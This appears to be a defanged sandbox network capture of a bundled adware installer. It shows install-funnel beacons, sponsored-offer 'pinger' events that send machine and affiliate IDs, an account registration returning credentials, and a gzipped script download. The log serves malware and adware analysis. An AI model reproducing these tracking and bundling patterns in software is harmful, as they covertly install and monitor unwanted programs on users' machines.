Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:38:27 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: GbksWN
L uq6Wdrry10 V50b/d/Q5vJuwbtcKGS4JkLGbIv/Knf3frFp1bkmF/LXqaRXPAgZYqNE=
..x-amz-request-id: 01FA5E1E69B8B042..Date: Fri, 30 Jan 2015 01:29:09 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 11 Mar 2014 09:38:27 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /utility.gif?report=fdata&f=1&c=000820&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1422581371 HTTP/1.1

Host: errors.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: xIVEwYUezORva DuF6GFhiqxX1Z/vZhZAWfmVVvSMR77plLaX7Xu0Ko1wkg0KLlRbXdLEUmWZ8s=

x-amz-request-id: A8576087B72D3259

Date: Fri, 30 Jan 2015 01:29:11 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:38:27 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: xIVEwY
UezORva DuF6GFhiqxX1Z/vZhZAWfmVVvSMR77plLaX7Xu0Ko1wkg0KLlRbXdLEUmWZ8s=
..x-amz-request-id: A8576087B72D3259..Date: Fri, 30 Jan 2015 01:29:11 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 11 Mar 2014 09:38:27 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /utility.gif?report=fdata&f=1&c=000820&i=500&n=deploy_notification_start_funnel_step_name&rnd=1422581372 HTTP/1.1

Host: errors.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2:  1DqoJasOHpLwSbxmDDoDXVtBucq67DFOXq/R2Gje0a2OSqt8xayZ7uGRZRZ0edHBL0PHX8XfL8=

x-amz-request-id: 625566B90FFF77A7

Date: Fri, 30 Jan 2015 01:29:11 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:38:27 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1422581372 HTTP/1.1

Host: errors.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: kmvsnlIqeYgnEaiLZK5x3hWKjVWBrCBGewo ZnmnJzzATfrrh pUApH7ppnZagMTlBsMle2pFVI=

x-amz-request-id: DC75305122C53CCA

Date: Fri, 30 Jan 2015 01:29:11 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:38:27 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=700&n=deploy_ch_start_funnel_step_name&rnd=1422581372 HTTP/1.1

Host: errors.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: OfS2HAyC69jH/ANlgMaxi0SSOHqSFLzy4pNKOuFZkonNwPWuquw5rY4lio10nxTXLlQLjM/UiOU=

x-amz-request-id: E30EC2163A5495C1

Date: Fri, 30 Jan 2015 01:29:11 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:38:27 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=800&n=deploy_nova_start_funnel_step_name&rnd=1422581372 HTTP/1.1

Host: errors.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: UUTyy9RYIwNL27R2ZZgm4lh JevmyLu5aFTVo1C5P88psgNBS4 L5qZLL43zHj6uOOQJ2Ig17tY=

x-amz-request-id: 5AC7AE19BB9B810F

Date: Fri, 30 Jan 2015 01:29:12 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:38:27 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=900&n=deploy_ff_start_funnel_step_name&rnd=1422581372 HTTP/1.1

Host: errors.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: QFnQb7AO5HzmQFvosrUkGntS1QMUwIbcZPjNUFpDobihtr/0 gcJ96sXI93aVV7y/tZms74kGJU=

x-amz-request-id: EC2124B4663D6B0F

Date: Fri, 30 Jan 2015 01:29:12 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:38:27 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: QFnQb7
AO5HzmQFvosrUkGntS1QMUwIbcZPjNUFpDobihtr/0 gcJ96sXI93aVV7y/tZms74kGJU=
..x-amz-request-id: EC2124B4663D6B0F..Date: Fri, 30 Jan 2015 01:29:12 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 11 Mar 2014 09:38:27 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /utility.gif?report=fdata&f=1&c=000820&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1422581374 HTTP/1.1

Host: errors.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: Ud/2QtRtBDS7VCXEeiSKqCy0tr8fCSrKVRpo5FAqeM8AMFHMZQ6KWa2L R2g0R6atags4eNym1o=

x-amz-request-id: 6CD02B9383869248

Date: Fri, 30 Jan 2015 01:29:13 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:38:27 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1422581374 HTTP/1.1

Host: errors.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: dggHl xmu6khcuc31c8zLb0Ef/4aHC/jPAf7c8yMRG0Rq90loCA/k6dChiRfqrM212xLKbTj2zY=

x-amz-request-id: 53C667B949CBAC03

Date: Fri, 30 Jan 2015 01:29:14 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:38:27 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: dggHl 
xmu6khcuc31c8zLb0Ef/4aHC/jPAf7c8yMRG0Rq90loCA/k6dChiRfqrM212xLKbTj2zY=
..x-amz-request-id: 53C667B949CBAC03..Date: Fri, 30 Jan 2015 01:29:14 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 11 Mar 2014 09:38:27 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /utility.gif?report=fdata&f=1&c=000820&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1422581380 HTTP/1.1

Host: errors.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: k6MFW4pYZpLeSdHQ4 l3Tu6 CDjah87LdpkfULx sJ 7XREaW70pii0yAgDJObi6TxEkFHgBSy4=

x-amz-request-id: D3299372AFE82463

Date: Fri, 30 Jan 2015 01:29:19 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:38:27 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: k6MFW4
pYZpLeSdHQ4 l3Tu6 CDjah87LdpkfULx sJ 7XREaW70pii0yAgDJObi6TxEkFHgBSy4=
..x-amz-request-id: D3299372AFE82463..Date: Fri, 30 Jan 2015 01:29:19 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 11 Mar 2014 09:38:27 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /utility.gif?report=fdata&f=1&c=000820&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1422581382 HTTP/1.1

Host: errors.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: Jqaa1UE/tU9RKU2oVQKIG9uwLl/k0cDhGP48a/hL2jRTYASram7 OdDTJpLhrEPaQZDkM0r98vo=

x-amz-request-id: FD37A296CC11FBBB

Date: Fri, 30 Jan 2015 01:29:22 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:38:27 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=10000&n=deploy_end_funnel_step_name&rnd=1422581382 HTTP/1.1

Host: errors.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: i5C 1DxwdrBD61qIaEMRGQ7CQboKR/mwfuWLMK78nVhQn9sVHruHj21YFs/PQjuxIDzeIxwxhF0=

x-amz-request-id: 097FEBA6AB160BC6

Date: Fri, 30 Jan 2015 01:29:22 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:38:27 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: i5C 1D
xwdrBD61qIaEMRGQ7CQboKR/mwfuWLMK78nVhQn9sVHruHj21YFs/PQjuxIDzeIxwxhF0=
..x-amz-request-id: 097FEBA6AB160BC6..Date: Fri, 30 Jan 2015 01:29:22 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 11 Mar 2014 09:38:27 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;..


GET /?gfe_rd=cr&ei=Nd7KVJfhA4eu8weh74DAAQ HTTP/1.1

Host: VVV.google.com.ua

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive




HTTP/1.1 302 Found

Location: hXXps://VVV.google.com.ua/?gfe_rd=cr&ei=Nd7KVJfhA4eu8weh74DAAQ&gws_rd=ssl

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Set-Cookie: PREF=ID=5d86079f66a46e99:FF=0:TM=1422581301:LM=1422581301:S=nLr-Hy4TNPkup7Yd; expires=Sun, 29-Jan-2017 01:28:21 GMT; path=/; domain=.google.com.ua

Set-Cookie: NID=67=fdBJCeqX-WdNKKL2Fl9P1KwqD72NB6TS-wkW16z8cWuo0yFQnzZhN2FjL4Z9-bZkSRdRpbu85m8fDeoqA2WvldHzl9MkV5v6PI0T8IZlzjJCwAkYlIYzIiN8diBBjpid; expires=Sat, 01-Aug-2015 01:28:21 GMT; path=/; domain=.google.com.ua; HttpOnly

P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."

Date: Fri, 30 Jan 2015 01:28:21 GMT

Server: gws

Content-Length: 278

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.02
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXps://VVV.google.com.ua/?gfe_rd=cr&ei=Nd7KVJfhA4e
u8weh74DAAQ&gws_rd=ssl">here</A>...</BODY></HTML
>..HTTP/1.1 302 Found..Location: hXXps://VVV.google.com.ua/?gfe_rd=
cr&ei=Nd7KVJfhA4eu8weh74DAAQ&gws_rd=ssl..Cache-Control: private..Conte
nt-Type: text/html; charset=UTF-8..Set-Cookie: PREF=ID=5d86079f66a46e9
9:FF=0:TM=1422581301:LM=1422581301:S=nLr-Hy4TNPkup7Yd; expires=Sun, 29
-Jan-2017 01:28:21 GMT; path=/; domain=.google.com.ua..Set-Cookie: NID
=67=fdBJCeqX-WdNKKL2Fl9P1KwqD72NB6TS-wkW16z8cWuo0yFQnzZhN2FjL4Z9-bZkSR
dRpbu85m8fDeoqA2WvldHzl9MkV5v6PI0T8IZlzjJCwAkYlIYzIiN8diBBjpid; expire
s=Sat, 01-Aug-2015 01:28:21 GMT; path=/; domain=.google.com.ua; HttpOn
ly..P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/suppo
rt/accounts/bin/answer.py?hl=en&answer=151657 for more info."..Date: F
ri, 30 Jan 2015 01:28:21 GMT..Server: gws..Content-Length: 278..X-XSS-
Protection: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Prot
ocol: 80:quic,p=0.02..<HTML><HEAD><meta http-equiv="con
tent-type" content="text/html;charset=utf-8">.<TITLE>302 Move
d</TITLE></HEAD><BODY>.<H1>302 Moved</H1>
;.The document has moved.<A HREF="hXXps://VVV.google.com.ua/?gfe_rd
=cr&ei=Nd7KVJfhA4eu8weh74DAAQ&gws_rd=ssl">here</A>
<<< skipped >>>


GET /gen/helper.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: d13j8bqw-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:29:20 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: Express

Cache-Control: public, max-age=3600

Last-Modified: Thu, 29 Jan 2015 20:50:43 GMT

ETag: W/"c382-3048485313"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip
360e...............r..u....S.L....b.~...t.E.l ..T.r..J....`(...].,~..[
...(.3..E.a....g..............a}p|t.'7....N{....a...`....Cw.........tc
u..........ON......_u'{........?>9=..We...\'EZNcU.E_.M........n..;~
...t..p...>~..<.u.`...:.........z?M.........l>..O.........At.
.5.|=..['.w....[.../...gG...~..u..UQ.:.j:..uf...t...A...Wy....{.......
..]?...x=y..L.......O...qr.....t...U.L.4.c.NC;...%U.uY..UU...OOo......
o~...N...|..?,_.....n.;~xr..z..t...O.['.<..L'..G....>.........}C
.d8>ZOG..?>Yn...?..tk.........!..............{.[....M...MY..k...
2i...~..O./...Iwx..............~}.w.........o.....~~p4.u......h...1._.
y0u.1..................`m...u..../'.....{./Yz...._.W?MuWg..>}..[..r
..lL....)..*...O..y....e.....y.o......f..C.....M.&.P'u.5.0.s...w....s.
.\.<.L..7P.....\....M^6..7..dUl..v....3|4._~....._..f..`.J.d.....c.
dE=.u27.....R..}....'c=.Y?.u>.c...7.Rzi..K.'c.W.X....bK..?..._~....
.w._._.=...........&...1/8O.{..y...w.....m..s...4....c5......y........
.8W......KM....>...%.0OqE;vu_.M96CV.u..S.D.....m....;...LeVL.]o...M
V%.<.....m........7e..%e..uj..N'...9.}G[...M..y3W....M.. s..MV$.].h
..).zsk.."..v.....n..~.............3.....U..x..O.a.......n.>.....a.
..%..G.e.T......9K.:I.n....!.F?t.!i.Ic... ..5?......tS.....1.........h
.t...[...b.r#d..HZUC..c1.]^g...2.al....l..UV.S..M..S.l.=..m...j.r(.y..
..(.......:.1'Ce3..tl....../k_s....g[.GI..h....&./.lJ........5F.k{.<
;..Xuy7$.P9t.6...........=?O,.....).v.....M....g...u...i...e.....U...I
.fU9.S.MM...m.m..I9WC..k..s.1..:-.........~.0....m...,c..V.....}..
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=appshat_madness&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=4&index_in_screen=1&index_in_session=4&0.8375898049041111 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/freezipwepv/fc5acaef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5acaef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:27:56 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 30 Jan 2015 01:27:56 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=1&index_in_screen=1&index_in_session=1&0.371271973542838 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/freezipwepv/fc5acaef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5acaef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:28:01 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 30 Jan 2015 01:28:01 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=1&index_in_screen=1&index_in_session=1&0.5814782007114586 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/freezipwepv/fc5acaef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5acaef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:28:10 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 30 Jan 2015 01:28:10 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=mystartsearch&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=2&index_in_screen=1&index_in_session=2&0.5860080262724051 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/freezipwepv/fc5acaef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5acaef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:28:11 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 30 Jan 2015 01:28:11 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache




HTTP/1.1 200 OK

Connection: close

Date: Fri, 30 Jan 2015 01:28:16 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=4s11le45qfkhc2qxoebayyee; path=/; HttpOnly

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 98
<RESULT>.<USER>.<ID>2b739ee3-657b-4b28-ab6c-93812cc4
b452</ID>.<PW>CuYNL6Dr</PW>.</USER>.</RESUL
T>...


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEGwkCSV07gf3g5QOsqmf+MY= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com




HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=504938, public, no-transform, must-revalidate

Last-Modified: Wed, 28 Jan 2015 21:47:43 GMT

Expires: Wed, 4 Feb 2015 21:47:43 GMT

Date: Fri, 30 Jan 2015 01:32:05 GMT

Connection: keep-alive
0..........0..... .....0......0...0........6?s....V....OlL".O..2015012
8214743Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
.l$.%t...............20150128214743Z....20150204214743Z0...*.H........
.....ETI..}..0.5yi.W...v.ln..I..G.3i.......{.....Y.o..4......./..=..K%
...%..^..[L.q..c.....K.>..(...QHl...(<..N..a.l.9.MC?x.u.>.u.t
.|..A(.G.VK.l ...3.......q...UNj...[.O.;2...U.a..acxT/...?....3!....|.
..e...*z.-g}.V...[s..P."......KT..).QE.mQ...x..h.=.pi.}uaz.....#0...0.
..0..........<o&S.-S..}...e.30...*.H........0..1.0...U....US1.0...U
....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of
 use at hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 
Code Signing 2009-2 CA0...141205000000Z..150305235959Z0..1.0...U....US
1.0...U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2T
erms of use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSig
n Class 3 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0.
........{(..t....2.Vf.....&;6).i*[email protected]._p.E.6.|.mk...
.(..........p...........X.DF....^0N....b9.:..J. ZK.".^..\..p.'.$..JA..
~QG.d.}...r...gv... f...z.#..}..J...r9h.........LI-..^.......PUD.h<
.l....(n..i.....E.....2....^./Y......Y.m...'...hz..y..E..........0...0
...U....0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.v
erisign.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS i
ncorp. by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...
U........0... .....0......0"..U....0...0.1.0...U....TGV-B-24710...
<<< skipped >>>


GET /pagead/conversion.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.googleadservices.com

DNT: 1
